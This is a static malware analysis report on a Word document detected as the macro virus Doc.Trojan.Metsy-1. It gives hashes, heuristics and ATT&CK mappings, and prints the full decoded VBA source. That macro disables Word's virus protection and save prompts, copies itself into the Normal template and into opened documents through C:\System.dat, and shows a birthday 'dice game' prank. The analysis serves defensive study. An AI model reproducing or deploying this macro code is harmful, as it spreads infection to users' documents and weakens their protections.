Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 85571165137734a5…

MALICIOUS

Office (OLE)

35.0 KB Created: 2000-10-16 08:06:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 57aa370b9c4be0565edfe4194de6fa48 SHA-1: 65513e2b06c10dc738bac389de58245292bdf448 SHA-256: 85571165137734a5d74a02f14eb2aaddf8555f974422b7489a70df7ed39a0901
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Metsy-1. A VBA macro, triggered by the Document_Open event, attempts to achieve persistence by modifying the Normal template and saving the current document. The macro also attempts to export a component to 'C:\System.dat', suggesting a payload delivery or persistence mechanism.

Heuristics 3

  • ClamAV: Doc.Trojan.Metsy-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Metsy-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2399 bytes
SHA-256: 10aa46d7bb3c6632146b51112203a3589a077ee7d4ce74183366892d0835ee26
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_New()

End Sub

Private Sub Document_Open()
If Day(Date) = 18 And Month(Date) = 9 Then
     MsgBox "Happy Birthday Jess! To celebrate, we're going to see how lucky you are " & Application.UserName & ". Click the OK button below to roll a number. If your number matches that of the dealer, you win!"
     X = Int((9 * Rnd) + 1)
     y = Int((9 * Rnd) + 1)
          If X = y Then
               MsgBox "You roll a " & X & " and the dealer rolls a " & y & ". You win!"
               Exit Sub
          Else
               MsgBox "You roll a " & X & " and the dealer rolls a " & y & ". I'm sorry, but you lost. Better luck next time!"
               For i = 1 To 14
                    RndNumber = Int((9 * Rnd) + 0)
                    X = X & RndNumber
               Next i
                
                    
                    
               
                    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
                    ActiveDocument.Close
          End If
End If
Exit Sub
End Sub

Private Sub Document_Close()
On Error GoTo Out
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
If nt > 55 And ad > 0 Then GoTo Out
If nt < 55 Then
     Set host = NormalTemplate.VBProject.VBComponents.Item(1)
     ActiveDocument.VBProject.VBComponents(1).Export "C:\System.dat"
     host.codemodule.AddFromFile ("C:\System.dat")
     With host.codemodule
     For X = 1 To 4
     .DeleteLines 1
     Next X
     End With
     Kill ("C:\System.dat")
End If
If ad = 0 Then
     Set host = ActiveDocument.VBProject.VBComponents.Item(1)
     NormalTemplate.VBProject.VBComponents(1).Export "C:\System.dat"
     host.codemodule.AddFromFile ("C:\System.dat")
     With host.codemodule
     For X = 1 To 4
     .DeleteLines 1
     Next X
     End With
     Kill ("C:\System.dat")
End If
Out:
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub

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